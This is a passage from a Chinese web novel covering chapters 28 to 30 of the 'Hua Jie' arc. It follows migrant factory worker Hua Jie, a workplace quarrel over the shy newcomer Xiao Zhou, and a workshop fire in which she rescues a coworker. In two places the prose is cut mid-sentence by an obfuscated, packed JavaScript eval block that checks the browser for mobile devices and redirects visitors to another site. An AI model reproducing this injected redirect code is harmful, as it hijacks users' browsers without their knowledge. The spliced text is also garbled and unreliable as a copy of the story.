“约屁!”花姐说,“那就是个小孩子,人家比我们当年跑这里来时大不了多少,就是看你亲切把你当亲人。” 同事受不了她,说:“我带的那个也和你这个差不多大,那小子怎么不给我买饭?” 阳台上刚洗完衣服的舍友插进来说:“那你要反思反思自己那张脸了,能和我们老花比?我们老花可是厂花!” “去去去!”花姐不理他们了,两下收拾好到楼下去。 小舟提着盒饭和水果站在一棵黄桷树下等,下了班回宿舍洗澡还换了身衣服,白衬衫牛仔裤白球鞋,跟城里的学生没分别。 花姐才洗了的头发还没完全干透,有两缕湿漉漉地挂腮边,她不知道自己此时的样子,在小舟看来就是书里说的出浴美人。 小舟和厂里大多数人不一样,他很喜欢看书,这座电子厂的老板是大学生出身,有点情怀,在员工宿舍楼下弄了几个大书柜,上面放着中外名著、文学杂志。 他从老家来到这座沿海城市后,对女性美的启蒙和塑造这些书籍功不可没。 书里女人有各式各样的美,现实里的女人几乎和书上女人的美沾不上边,但花姐算一个,花姐瘦削的身材,在小舟看来就很有当代文学故事里飘逸、单薄的身影。 “花姐姐,”小舟又羞又躁地说,“怎么不把头发弄干就出来了,以后头会痛的。” 花姐把头发没干怪在他身上,“还不是你在这下|面等?!” “我又不是不能多等的人!” 花姐说:“我同事说,你娃儿手里拿着饭,我不是怕饭冷了嘛!” “那我们快点吃吧!”小舟把盒饭从塑料袋里拿出来,最丰盛的那份他留给了花姐。 “怎么菜还不一样了?”花姐问。 “你这份要好点啊!”小舟说。 花姐说:“那你怎么也不给自己买好点的?你不喜欢吃好菜啊?” 小舟不好意思地说:“我平时都只吃这几样菜。” “几样?”花姐看他饭盒里菜,音调高了两个度,“就两三个素菜,还几样?”说完她就把自己饭盒里的肉夹了好大两筷子放小舟碗里。 “我不要!”小舟跟她推拒起来。 花姐面色一沉,严肃地说:“你小子要和我一起吃饭那就买一样的菜,我吃得好,你吃得差,搞差别对待,人家看到了像什么话?不说我欺负你?” “你没有欺负我!”小舟说,“你是我来这里对我最好的人!” 这话一说出口,倒把花姐弄得老脸一红了,“说这些干啥,快吃饭!” “我说真的,花姐姐,你就是我来这里对我最好的人!”小舟表白似的跟她犟起来。 “晓得了晓得了,快吃!”花姐只想他闭嘴。 花姐这人就这样,你可以跟她圆滑,跟她市侩,跟她贫嘴,但你要跟她心交心起来,她就羞涩得不知所措了。 那天两个人坐在围着黄桷树的石砖上,盒饭吃完了又吃水果。 小舟买给她的水果让她吃,花姐又说要一起吃,两个人都闹着往对方手里推,动静大得来来往往的人都朝他们看,心里都叹气地想:他们简直丢我们外地人的脸,吃点水果都吃得如此没见过世面,也不怪人家本地人看不起我们。 28. 花姐(二) 翌日新员工考核,小舟没有辜负花姐的悉心教导,拿第一够呛,可也进了前三,厂长还亲自给他们前三名每人包了个五百块红包,拍照留影放光荣墙上。 “可以啊,小舟,你没给我丢脸!”花姐对拍完照从台子上下来的小舟说。 “哪个敢丢我们花姐的脸?”一旁几个看热闹的男人跟着闹。 花姐没理他们,厂里不缺这种有事没事都爱掺一脚进来的人。 “小舟,不请客啊?”几个看热闹的人里,又有一个跳出来说。 这几个老油条,厂里出了名的厚脸皮,走到哪儿没占到便宜就认为自己吃亏了,小舟忸怩的小男孩性子,最容易被他们揩油。 小舟家里情况不太好,常年卧病床的母亲,父亲又是老烟枪,年轻时为了养家打过石头,岁数上去了,肺上的毛病,除了没患癌,其他大病小病也凑全了。 他是家里老幺,按常理该是过得最好的孩子,但是上头两个姐姐嫁得都不好,姐夫们爱喝酒爱打牌,钱不往家里挣,还时不时往外面掏,两个姐姐每月三番两次跑回娘家,话还没说两句,鼻涕眼泪已把意思都道尽了。 身体不好的爹妈又不能替她们做主,当妈的只能跟着哭,当爹的到院子外一坐就是好半天。 就因为家里这一团乱麻,小舟索性学也不上了,行李收拾好跟着过完年又要出去的老乡来到江苏。 他现在挣的钱,花姐心里很清楚,跟出来的大多数外地人一样,每月都要分出一部分寄回去,而小舟几乎是大部分都寄回去。 这五百块的奖金,花姐估计他能留五十给他自己就算不错了。 “请客?”花姐看不惯地站出来,对那人说,“你这一身白肉不打算减减肥?还喊人家请客!” “怎么了?花姐心疼啊?”那人把话题往男女关系上扯。 “怎么不心疼?”花姐不理他这招,“我把他带出来的,他也算我徒弟,还没孝敬师傅,先孝敬你了?” “那么花姐跟我们一道吃嘛!”他想得更美,免费白吃顿饭,还有厂花作伴。 “你听好,我说的是孝敬!你有什么好让小舟孝敬的?”花姐语气近乎质问。 “孝敬前辈不可以啊?”那人还嬉皮笑脸。 “我也是你前辈,你什么时候准备孝敬我?” “花姐这就不够意思了,”另一个又跳出来,“我们男人的事,你啰嗦什么?” 花姐心想,不得了还跟我来起车轮战了,她正要开口,身边几个和她一个宿舍的女同事们也看不过眼了。 “有完没完?几个大男人围着一个女人吵?你们缺小舟这顿饭?!” 这几个男的,平日在厂里十分惹人烦,尤其是女同事好些被他们开过很多在公共场合有伤风化的玩笑,这时都对他们开始征讨了。 “就是嘛,你们几个人最讨厌,走到哪里都鬼叫乱叫的!” 人越聚越多,帮花姐的女孩们和那几个男人几乎是撕破脸的态势了。 这时包主任来了,他从围观人群里费劲地挤进去,以为又是厂里帮派闹事。 一个厂大几千人,全国各省份都有,老乡和老乡出了省就是兄弟,大家都要帮着递凶器,厂里以前就出过两个省的人聚众斗殴事件,最后领头的几个被开了,一干管理人员也跟着挨了罚。 包主任见两帮人是男是男,女是女,有点纳闷,但看见女同志以花姐为首,对立面的几个男人又是厂里臭名昭著的“六兄弟”,他也很快理出一通逻辑了:一定是那几个下三滥又没把手把嘴管住,有形无形地吃了人家女同志的豆腐,这次的女同志首领还是从不吃亏的小花,所以公开闹起来了。 “哎哎哎,干什么呢?”包主任的官腔喊出来了,“刚才表扬了新员工,你们就这样闹,像什么话?别把人家吓到了,还以为我们厂是□□!” “怎么又是你们?你们晓不晓得有多少同事来我办公室反应了?”包主任指着“六兄弟”问。 包主任是爱护女同胞的好男人,遇上同时有男人和女人的事,他都先拿男人开涮。 男人不会怜香惜玉,算什么男人? 他是有点大男子主义的,他一向认为,老跟女人计较的男人又算什么男人呢?况且女人是拿来计较的吗?女人是拿来和你结婚,和你生儿育女,和你斗斗口角,闹闹意气的,这些才是男人和女人该摩擦出的好处。 像此刻,两拨男女剑拔弩张,看架势要动手动脚了,简直是搞错了男女这回事的主次! “包主任!”六兄弟的其中之一喊起冤来,“你怎么不分青红皂白就怪上我们了?” 包主任说:“你怎么不想想我为什么就不分青红皂白地怪你们了?” 他隐含的意思是:你们平日在厂里的行为作风被我责怪很奇怪吗? “能为什么?”又有一个说,“平时我们车间的女同志们在包主任的办公室跑进跑出多勤快?人家的青天大人不替她们办公道,还替我们啊?” 年过四十的包主任是车间男工人们的最眼热的对象,他带两把风扇(一把立地、一把挂墙)的办公室永远不缺乏青春气息。 包主任平平无奇,脑袋很秃,放大街上,别说年轻女孩,就是不年轻的大妈也不会多看他一眼,但在车间一切都不一样了,主任的职位给带给他太多的便利,女工们看上的就是他那点便利,为了他手里的便利,忍着反胃打情卖笑两句也是可以容忍的。 男工人们与其说眼热包主任,不如说更眼热他那个职位,不仅有风扇吹,能随时随地和女工们笑闹上两句,还可以迟到早退,包主任不用上流水线,所以他可以不遵守工厂针对流水线的上班时刻表。 在男工们看来,做男人做到包主任这种程度,已经无憾了。 女人和女人之间地位的不平等会产生嫉妒,男人同理。 六兄弟的话很具煽动性,这一刻是把男工们多日累积的那点嫉妒给点燃了。 起因是六兄弟捏软柿子,让新人里最好说话的小舟请吃饭,这样做不对,每个刚来的新人都有被老油条们压榨的时候,但谁不是这样过来的呢?怎么到你小子就不行了?怎么到你小子就有那么多护花使者跑出来维持正义了?怎么我们当年就没你这番艳遇了? 他们起初以为在女工人那里受到的不平等待遇是由于他们和包主任的职级差距,但今天见识到小舟后才恍然大悟,女人并不见得是完全势力的,她们单纯只是对你不感兴趣,不然你怎么解释刚来不久的嫩鸡子小舟,才受到压迫就有一大群穆桂英要为他挂帅? 这个认识让男工人们心里实在不好受,如果是包主任他们可以把罪责怪到女人天性虚荣、慕强上去,但今天是平日说话温吞,内向腼腆的小舟,像个投胎投错性别的小舟。 他们想,什么时候女人对男人的审美标准彻底颠倒了?什么时候开始流行女人扬起拳头要保护男人了? 简直是倒反天罡! 他们最看不上的那类男人却俘获了瞧不上他们的女人,就冲这一点,在场的男工们也要力挺六兄弟。 包主任还没弄清,男工们对小舟的恼怒早超过他了,他却还把现下一触即发的形势归到男工们对自己的嫉妒上。 他这样想是让他又舒服又不舒服。 舒服在于能承受他人嫉妒的人都是有本事的人,他包主任就是整个车间最有本事的男人;不舒服在于,要是一个不好真闹起来了,追责他逃不了,谁让他老包遭了一群小年轻嫉妒呢? “够了哈,”包主任一派长辈腔调,“我那办公室门上贴了只能请女同事进?你们大小伙子一个二个有事死要面子不来找我,还等着我来找你们?还怪起我不关照你们来了?你们随便问在场的女同事,我哪次私下单独找过谁了?” 包主任这点很有分寸,他从不私下和女工们产生接触,即便是在办公室,有旁人他就关上门,没旁人他就打开门,永远不缺人为他的私人作风问题做证明人。 还有他这主任之所以当得那么优哉跟他老婆脱不了干系。 包主任是通过老婆的裙带关系上来的,所以女工们的青春,女工们的言笑晏晏,够他饱眼福,但真上手,包主任会自己就吓得退避三舍。 可男工们还没想到这一层,以男人对男人的了解,他们是不信包主任每天被莺歌燕舞包围着,居然还能把持住,当坐怀不乱的柳下惠。 于是他们受不了包主任的虚伪了,有人说:“包主任还用私下主动嘛?你给个暗示,勾勾手指,她们不就主动来找你老人家了?” “你看见我勾手指啦?”包主任精明地反问。 男工们听了后,心里想:糟糕!上当了!到底是主任,姜还是老的辣! 包主任趁热打铁说:“还是你看见哪个女同事私下来找我啦?” 没人回答了,到这时他们才发现,这老不死的多狡猾,干这男女勾当的事干得多老练,多漂亮,当着一个车间那么多人,半点证据都没让人捏住,他们没想到,真相其实是包主任同他们一样无法消受这份艳福。 男工们个个跟吃了憋似的暗骂自己鲁钝,平日光羡慕包主任和女工们调情去了,连证据都没抓到手。 “好啦!小伙子们,”包主任大度地说,“我们大家都是厂里的一份子,你们天远地远凑到一起都是背井离乡,大家就应该团结嘛!怎么还闹气内讧了?” 他又文艺腔地来一句,“有没有听过四海之内皆兄弟也?” “就是!包主任说得好!”人群里传来女声为包主任呐喊,这一声跟号召似的,越来越多的女生附和进来,连男工内部都出来了零星几个叛徒趁机讨好女工,说:“四海之内皆姐妹也!” 这场险些闹出事的聚众事件就被包主任三言两语,四两拨千斤地化解了。 事后有女工奉承包主任说:“主任,你当初是在外交学院念的外交学吧?” 又有女工说:“主任,你就是生错时代了,生在打仗的时候,你肯定要指挥千军万马!” 有个高中文化的说:“国师也说不定,运筹帷幄之中,决胜千里之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630291|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外!”(1) 男工们那时才领教到包主任的厉害,他们这样闹一场不过是给了包主任一次临场发挥的机会,让他的干练、老到在女工们的心里埋下一颗倾慕的种子。 他们摇头苦恼地想:自己多傻,懵头懵脑给别人做了陪衬。 聚众事件后,包主任把花姐喊进办公室,门敞得不能再开,他意识到自己平日和女工们过于近的距离惹起诸多不满,他得谨慎,而花姐就是他这次立规矩的开刀对象。 “怎么回事?你是组长,你不上去拉架还利用自己那点个人影响力拉起帮派来了!” 包主任从未有过的严肃神色很不和谐的挂在他嬉笑惯了的脸上,花姐差点没忍住笑,猪八戒如果正经起来,你差不多就能在当下的包主任脸上看到。 “小花!”包主任凶起嗓子喊她,是在向她传达:我现在不是在跟你开玩笑。 花姐也知道,办公室门开着就是做给别人看的,立马配合地把头低下,随包主任教训。 “怎么闹起来的?”包主任审问道。 “他们欺负新人,还是我带的那个,我看不下去,帮着说了两句,六兄弟那几个人渣,您又不是清楚!” “男的女的?”包主任问。 花姐江湖义气地说“别管男的女的,这事我都不该袖手旁观,就像您说的,一个车间风气乱了,什么都救不回来了。” 这是我说的吗?包主任心想,算了,听起来是句好话,既然你存心要恭维我,那我就收下了。 “我是说过这话不错,但你怎么不先来我办公室反映情况?”平时屁大点的不公,你们都要跑来找我,这次遇上大事了,倒不来打扰我了? 花姐心里说:跟你说顶个屁用,男人又不在你包青天的受保护范围。 脸上却诚恳认错:“主任,这事是我想得不周全,幸好你那天来了。” “是啊!”包主任又接过花姐给她递的高帽,从容地给自己戴上,“幸好我那天还挤进来了,你想想看,男人要是红起眼打架,你这细胳膊腿挨得住?” “挨不住。”花姐说。 “晓得挨不住还去逞英雄?什么时候男人窝囊到英雄要让女人去逞了?” 日你爷爷的,花姐心里骂道:还瞧不起我们女人来了!厂里每月绩效,哪次女工没超过男工? “对了,”包主任这才从跑题中回到原点,“你替谁出头?男的还是女的。” “新来的小舟,”花姐说,“就是主任你让我带那个。”看吧,够给你糟老头面子不?你交给我的人,我连人身安全给他考虑到了。 “小舟?”包主任这下是真不高兴了,“他一个大男人用得着你们女人来保护?”这厂里怎么还出了比我老包更受女工们欢迎的男人? “主任,小舟他人不怎么爱说话,家里条件也不是很好,那几个欺负他老实,闹着要他拿奖金请客吃饭,小舟每个月的钱大部分都是寄回家里的,平时他自己在食堂都净吃素,没点油荤。” “所以你就英雄救美了?” “主任,”花姐纠正他,“是路见不平。” “那你下一步是不是要拔刀相助了?”包主任头次对花姐用了嘲讽的语气。 那个小舟他有印象,柔柔弱弱的一个男人,包主任最看不上眼男人做成这样的,半点血性没有,换身衣服,拉出去就可以当姑娘了。 花姐不再敢和包主任打哈哈了,只说:“我拔刀做什么?我杀鸡都不敢。” “明白就好,”包主任厉声说,“小花,我跟你说句掏心窝子的话,毕竟我比你大快二十岁了,也是你长辈,你以后要是挑对象,也不能看小舟这种人找。” “主任,你扯哪里去了?”花姐十分无语,长辈?你平时跟我笑笑闹闹的时候可是把我当平辈,在你这里,男女辈分是随你心情而变的? “长辈说话,小辈别插嘴!”包主任喝断她。 花姐来这里三年多了,首次领会到包主任的威风。 “你们女人看男人就是看不到点子上,不懂什么样的男人才是最适合放一起过日子的,不要学电视剧里梁山伯祝英台那套。能传几千年,那是因为两个人都死了,你真要他们活着过段日子,你看祝英台要不要闹着跑回去找马文才!” 花姐心想:看到点子上,你不会是在说你这种男人吧?笑话!你不可能是要我找个随时有出轨风险的男人吧? “小花,”包主任又认真地说,“那个小舟要是个好男人,他那天会一直在旁边闷烟看你们一堆女人替他冲锋?他以为他苏联政委啊?一个只会躲在女人背后的男人,要当老公可以,但不适合你,小花。” 包主任还是给花姐留余地了,他更不留情面的隐话是:躲女人背后的男人,你小花还消享不起! 花姐那天是带着不服气走出包主任办公室的,她想怎么小舟那种男人自己就不能消享了?虽然她从没想过要消享他。 但包主任这番话的含金量,花姐在不久的将来会深切地、惨痛地理解到它的真谛。 29. 花姐(三) 花姐本是对小舟没生出任何除照顾以外的其他感情,她出门在外一向把自己管得很严,感情方面更严。 她时刻提醒自己目前正处于人生最容易犯错的阶段,不能像一些同龄女孩别说现在犯错,只要爹妈还健在,四五十岁犯错也有人替她们兜底。 能替花姐兜底的只有她自己,所以她随便做项抉择,都会好好衡量下自己的兜底能力。 刚来厂里时,花姐认识了一位本地女人姓李,在车间任主管。 李主管比她大四岁,人特别好,和一帮外地女孩也聊得来,对外地女孩们的老家生活充满探知欲,且在探知欲满足后,脸上不会像大多数当地条件良好的女工般露出或造作、或受惊的表情。 那些表情是在向花姐一类的女孩表示:“天啊,我们真的生活在同一个国家吗?” 李主管只会做一个颇美国范儿的动作,耸肩摊手、眼望苍天,然后说:“看来我们国家还有很大的进步空间。” 花姐到这里第二年,李主管还真去美国了,她在车间担任主管的同时,也在勤奋刻苦学习英语以及美国本土文化。 她那些颇美国范儿的动作是在提前练习,以免人到美国后,对地道美国人做出这些动作时不至于太生硬、太刻意。 那时的花姐再次感受到人与人产生的巨大时差。 她刚到全国最发达的地区之一,而李主管已向全世界最发达的地区之一进攻了。 李主管不仅会在车间做些很美国范儿的动作,她也会和姑娘们探讨些很美国范儿的话题。 什么话题最具美国范儿?李主管想当然地认为,那必须是“性”。 她问那时刚到车间不久,还被大家叫做“小花”的花姐:“小花,你们那儿能接受未婚先孕吗?” 花姐说:“和人命相关的事,不是能不能接受,而是不得不接受。” “什么?”李主管说,“堕胎手术在你们那儿还没普及?” 花姐说:“在我们那里,婚前堕过胎的女人,她也别想有婚后了,因为压根儿没男人愿意跟她婚后。” 李主管摊手耸肩,向老天爷翻了个白眼说:“那你们那边人的认知的确还有好大的提升空间。” 花姐点头赞同,她想李主管能经常这样来找她聊聊就好了,聊天还能挣工资,多美的事? 接下来李主管把一只手搭在花姐肩膀上说:“不过到这儿就好了,我们这儿就算是婚前堕过胎的女人也不至于没男人要,大不了你瞒着他就行。” 李主管话刚说完,车间里已有人把眼神投向她们了,准确说是投向花姐。 事关清白,花姐立马替自己解释:“主管,我没有堕过胎。” 李主管脸上写满“你怎么那么迂腐?” 她对花姐说:“堕过胎又怎样?在美国十个女人至少有八个婚前堕过胎,剩下的两个之一也是有生育问题怀不上,所以不存在堕不堕胎。” 李主管见到花姐不可置信的样子,又神气地添一句,“而且大部分女人婚前还不止堕过一次胎,我表姐在美国留学,她告诉我她的美国室友一年内已经堕过两次了。” 花姐心想:美国女人的身体可真够健康的,不愧是发达国家,身体都要比没那么发达的国家的女人发达些。 可花姐又想:为什么李主管好像特别崇尚这件事,堕胎难道是件很高尚的事吗?即使在她落后时代发展的老家,避孕套这种具有保险作用的计生用品都已逐渐普及了,美国人没道理不知道避孕套呀? “你在想什么?”李主管问正神思的花姐,她觉得自己今天这番言论,一定给了这个偏远地区小姑娘不小的震撼。 花姐忽然没来由地问:“李姐,如果你不小心,我是说不小心......” “你说,”李主管鼓励她,“我在生活里就是个很不小心的人。” “不不不,我要说的不小心和丢三落四的不小心不同。”花姐带着稍稍胆怯,她是真怕主管感到冒犯。 “你说,我倒是很好奇,我能不小心到什么程度。”李主管有凑近了点,表示洗耳恭听。 “就是你刚才说的,未婚先孕......如果你不想回答,你可以装作没听见我问这问题。” “可我已经听见了。”李主管不辨情绪地说。 “对不起......” “不用对不起,这没有什么,如果真像你说的那样,我只能提醒自己下次注意。”李主管是真没生气,她现在已把她想象中的美式生活适应得很好了。 “那你这次该怎么办?”这女人,花姐想,这次都没说个解决方法来,倒扯上下次了。 “这次?”李主管想了想,“看我父母吧,如果他们乐意接受,且帮我养,我是没意见的。” 老实巴交的花姐还没想到,在这样一件有关门风的事上,父母居然还能和子女产生达成一致的意见,或者天伦之乐的局面。 “他们不会怪你?”花姐换上了一个在她看来温和的动词“怪”,要知道在她的老家,家里女儿干出这种丑事,扫地出门都是轻的。 李主管云淡风轻地说:“怪应该也会吧,但我想他们大不了把我怀的孩子当嫁妆一样送进男方家里。” 那个下午,李主管离开很久后,花姐都没从李主管带给她的惊骇中回过神,她意识到城里父母和农村父母的差别不仅在物质上,连在思想上都隔着那么一条无法逾越的鸿沟。 也是从那时起,花姐把自己看得更牢了,她可没有一双能把她未婚先孕怀上的孩子当嫁妆一样大大方方赠给男方的父母。 可花姐无论把自己看管得再严实也总有被人钻空子的时候。 小舟就是那个钻了空子的人。 花姐那天从包主任办公室出来后第二日,厂里公告栏就对她和六兄弟的聚众事件给出了处罚结果,六兄弟的她没看,她只顾得上自己,她仍是组长,这是好消息,组长每月的基本工资要比普工高出五百块,但坏消息是,她被罚了五百,从当月到手工资里扣除。 这就是逞能的代价,这就是世道对好人的不公,她在心里痛恨自己也痛恨上了小舟,他但凡有点基本的男子气概用得着自己那天强出头吗? 花姐出门在外是个把钱看得比感情更重的人,她可以不吝啬和朋友们分享许多东西,但除了钱。 离乡背井几千公里就为了钱,她不至于分不清主次到,把以挣钱为目的而产生的一系列人际关系放到比钱更重要的位置上去。 花姐看到被罚钱的通知后,在车间里连着几天都十分冷漠。 小舟倒有好几次主动跑来亲近她,但都被她冷若冰霜的脸色打退。 终于有一天,在她和小舟的关系即将退化到陌生人时,一个机会把他们悄然拉近了,十分富有戏剧化且这次是英雄救美女。 花姐所在的工厂,每个车间组长都有值夜班的班次,这样的班次每个组长大致一个月会轮到三四次。 花姐车间起火的那晚就正好轮到她当值。 火是怎么烧起来的,她记不得了,她只记得在跑出来后看着逐渐被火光吞噬的车间,体内生出一种蚀心的痛感。 她每天在车间待的时间比任何一处地方都长。 是车间给了人在异乡的花姐一处稳定的居所,饱腹的一日三餐,而这一刻她要亲眼见证它葬身火海。 花姐心里生出恐惧来,她想要是它没了,自己是不是也就成了没用的人? 每个车间的人数都是固定的,它没了,一时间哪处能把自己纳于其中? 这时她仿佛听见一阵尖利的求救声。 她迅速朝周围扫视,没错了,正嚎得起劲的,嚎得隔着上千公里叫“妈”的女同事就是那个跟花姐从同一个省份来的,叫“小丹”的女孩。 小丹在获悉花姐和她来自同一省份后,就对花姐展开了她一连串的讨好行为,那种后到的外地妹对先来的外地妹的讨好。 她的一颦一笑、一举一动无不明显地抒发着后辈渴望得到前辈的照顾和爱护。 花姐往常受了小丹不少好处。 她转头望着周围嘴里“救人”一声喊得比一声高,下盘却稳如磐石的人群,她心了了,如果自己这个平日受小丹最多好处的人都不进去救,那么也别指望别人了。 小丹发出的嚎叫越来越弱,可无论弱到什么音量,花姐都诡异地能听见,她感到那嚎叫转为泣不成声,而嘴里仍在断断续续地叫着:“妈!”“妈!”。 花姐想起,上次听小丹的舍友说,她在宿舍发烧,烧得神志不清了,一双起焦皮的嘴唇还在妈啊妈的叫,为此舍友们笑话她好几天。 花姐此时的脑海里浮现了这样的一个场面:一个离乡背井、漂泊异土的孤单女孩正抱着双膝躲在墙角哆嗦,她知道外面的人已先于她而放弃了她的生命,她知道她这条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630292|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生命的逝去明天就会成为当地报纸上的一个数字引起人们不算长的一感叹,然后继续若无其事地干自己的手里事。 也许事故发生后还会有人记得她的名字,但与怀念、痛惜之类的感情无关,而是作为警示意义。 “防火安全,说了多少遍?你们知不知道这里以前有个叫小丹的女孩就是死在火灾里的,你们想成为下一个小丹?” 她会成为像无数先烈那样,具有警示、告诫后辈的作用。 花姐心里蓦地酸胀起来,如果她现下没把这个叫小丹的女孩记在脑子里,那么她也可以像身边的人那样,面上流露的全是焦急,内心却不住地庆幸,庆幸里面喊“妈”的那个人不是自己。 可小丹的脸她就是想起了,一想起愧怍就折磨得她全身难受。 那个得知她们来自同一个省,兴高采烈地喊她“姐”,还把她碗里的瘦肉挑进自己碗里的女孩,此刻正叫着她远在千里之外,不知她正处于生死攸关,还等着她老老实实发工资后把家用寄回去的母亲。 花姐全身血液都被不远处熊熊燃烧的火给烤沸腾了,她血气上涌地在周围人的惊呼下冲了进去。 当然花姐是受过训的,她跑进去时头脑还清醒地记起,进出门左手边是厕所。 她进去后,先用自来水把自己淋个透,又扯下塑料水管上晾的抹布。 晾在厕所里的抹布是什么用途,有多脏,到这种紧要关头了,花姐是来不及细想了。 她只晓得当她把那打湿了的抹布捂鼻子上时,她觉得被臭死的可能性都比被火灾产生的有毒气体熏死可能性大。 花姐在烟熏火燎的黑烟里扒着墙角向车间前进。 该死的小丹,她在心里骂,老娘在外面的时候你嚎得来劲,老娘进来了你就不出声了?你倒是嚎两声啊,你难道不知道在这浓郁的黑烟里,我的视觉已失去作用了吗? 两个来自同一个省的女人立马像产生心灵感应似的,小丹又虚弱地叫了两声“妈”,音量比蚊子嗡嗡高不了几个度。 在一片粉尘含很浓的黑烟里,花姐的听觉起到了代替视觉的作用,她老马识途般地识到了小丹。 小丹也感到有人来救她了。 她吸了太多有毒气体,脑子毒得有点傻,只把花姐当她妈,八爪鱼般用死力气缠紧了花姐。 花姐二话不说,一个耳光就扇她脸上,隔着臭抹布骂道:“老娘是来救你的,你还想恩将仇报死之前拉个垫背的?” 花姐还想多骂两句,但臭抹布在热度炙人的空气里,被熏烤后散发出的臭味,比有人当着你面排泄还臭,不说话这臭气不过是被吸进鼻腔里,一说话,完全是被吃进口腔里。 花姐不堪忍受地把另一张给小丹准备好的臭抹布也用力捂她口鼻上,这种难受不该她独自吞咽。 小丹没有反抗,她已经进入半昏迷状态了,要想两个人都出去,只能是花姐扶着她,背着她逃出去。 花姐一手扶着小丹,一手还要繁忙地不时给自己捂上臭抹布,又给小丹捂上。 她想,可别人都找到了,结果在救出去的路上给窒息死了,那才是冤枉又窝囊。 走了没几步,花姐脚步就虚浮了。 空气里氧气含量益发稀薄,进入她鼻腔的途中还要再被臭抹布二次污染。 那氧完全是“臭”氧,不吸要死,吸了是难受得要死。 花姐感到身边的小丹靠在自己身上的分量越来越重了,这表明示这丫头意识也是越来越模糊了。 朝车间大门往外面空地走的这段路,花姐走过无数遍,但从未像现在这样遥远过,远得像没有尽头般,渐渐地她自己的力气也溃了。 花姐这才想起,自从被罚了五百块后,她就减少了每顿餐饭的进食量和丰富度。 她每天的三顿饭,就是备受肥胖人群追捧又痛恨的“减肥餐”。 这种“减肥餐”的作用就是确保食用者每晚都可以带着饥饿感入睡,然后你在睡觉的同时,你的身体开始帮你消耗脂肪,等第二天醒来上完厕所再上称,你离目标体重又靠近了半个以千克为单位的数字。 可她今天的“减肥餐”完全没想到它的用途不是支撑一个女人经济实惠地过完一天,而是这女人要用它这顿餐去完成消防员救人的责任。 消防员又不吃“减肥餐”,这下好了,花姐来到厂里后,第一次还没走到车间大门口就昏倒了。 30. 花姐(四) 眼前是一片很强烈的刺眼白光,刺眼到这种程度,让花姐感到不是手术室就是天堂了。 自己肯定能进天堂吧?哪有救人命把自己命都搭掉的,还被拦在天堂之外的道理。 “醒了!” “醒了!” 花姐眼睛刚适应完强光的刺激,耳朵又遭受强音的刺激。 喊的人仿佛像见证了一个奇迹般发出疯狂尖叫。 等她意识聚拢,视线重新回归到自己眼眶里,她才发现这是一间医院病房。 “别动!别动!”说话的是她管理小组人员之一的小张。 小张激动地说:“姐,你总算醒了,昏了一天多啊,吓死我们了!” “小丹呢?”花姐做出口型,但她没听见自己声音。 “什么姐?”小张同样没听见。 花姐又用力尝试了一次发声,依然没有声音。 她和小张两个人立马互望一眼。 小张冲去病房就去叫医生,而花姐独自陷入了巨大的恐惧中,她的青天老太爷,做好人不死的代价就是成为哑巴吗? 花姐在失去自己嗓子后,她才追悔莫及地忆起自己过去那把嗓子多么美妙。 读书时哪次学校组织唱歌活动不是她领头? 这把嗓子不仅能唱出动人悦耳的曲调,还能在她与人发生争执时不落下风。 这是把难得的雅俗兼有的嗓子,而它已经在一场伟大的救人行动中代替它的主人牺牲了。 花姐正想为自己的嗓子痛哭一场,小张已经带着医生进门了。 花姐像垂死挣扎的人看见救星一样,抓着医生,任大张的嘴发出无声的求救。 医生却比她淡定。 花姐看着他的淡定十分生气,他妈的,你狗日的一定想人没死就够幸运了,不能说话算什么?反正你们这些女工又不靠说话挣钱,反正嘴的功能不是吃就是说,吃比说重要,不说不会死,不吃会饿死。 花姐呜啊哇啦地把最肮脏的字眼,最恶毒的怨愤用一个个口型表达出来。 医生却用一只手钳住她双颊,另一只手拿出个微型手电朝她口腔里照。 花姐挣扎着,小张急忙按住她手。 小张都被刚醒来的她弄出一身汗了,又是佩服又是受累地说:“姐,你这身体健壮得简直没话说!” 医生看了会儿松手了,语气轻松地说:“这是喉粘膜受损了,得一两个月才能恢复好,在喉咙彻底痊愈之前,你尽量少说话。” 花姐停止了挣扎。 医生在说完话后,在她心里的形象又陡然地崇高神圣起来,她乖顺地点了点头,表示一定听吩咐,又双手合十学信仰佛教的人那般表达感谢。 没办法,花姐口头语言比肢体语言丰富,她又不会手语。 这是她唯一能想到的用身体表示感谢的方法,总不能让她没出息的下跪吧? 等医生出去后,小张给她倒了杯温水,看她喝下,敬佩万分地说:“姐,这次火灾,我们车间可一次出了两个英雄,还是男女双雄!” 花姐听不明白这小子在说些什么,她以手指脑袋,表示自己没听懂,让小张把话说明白。 “姐,你不知道?”小张讶异。 我在晕倒时该知道什么?花姐用眼神没好气地告诉小张。 “你跑进去救小丹,但是还没救出来,两个人都晕倒了,小舟又跑进去把你们救了!” 什么?!花姐一口水没吞下去差点把自己呛死。 小张给她轻拍后背,又说:“小舟和小丹两个人就在隔壁病房,他们醒得比你早,醒来还问你怎样了,听说还在昏迷,急得还是医生打了两针镇定剂才安生下来。” “姐,你可别觉得自己窝囊,你不知道,要不是你把小丹带出来好长一截路,小舟后面冲进去抢回来的也只能是一具尸体。” 是他救了自己? 花姐不敢相信,那个在车间里唯唯诺诺,缺乏男子气概的小舟会不顾危险,把生死置之度外地来营救自己? “是不是很不敢相信?”小张也仍余有震撼,“我们亲眼看见他冲进去,谁都不敢信居然会是他,他那个人你晓得......” 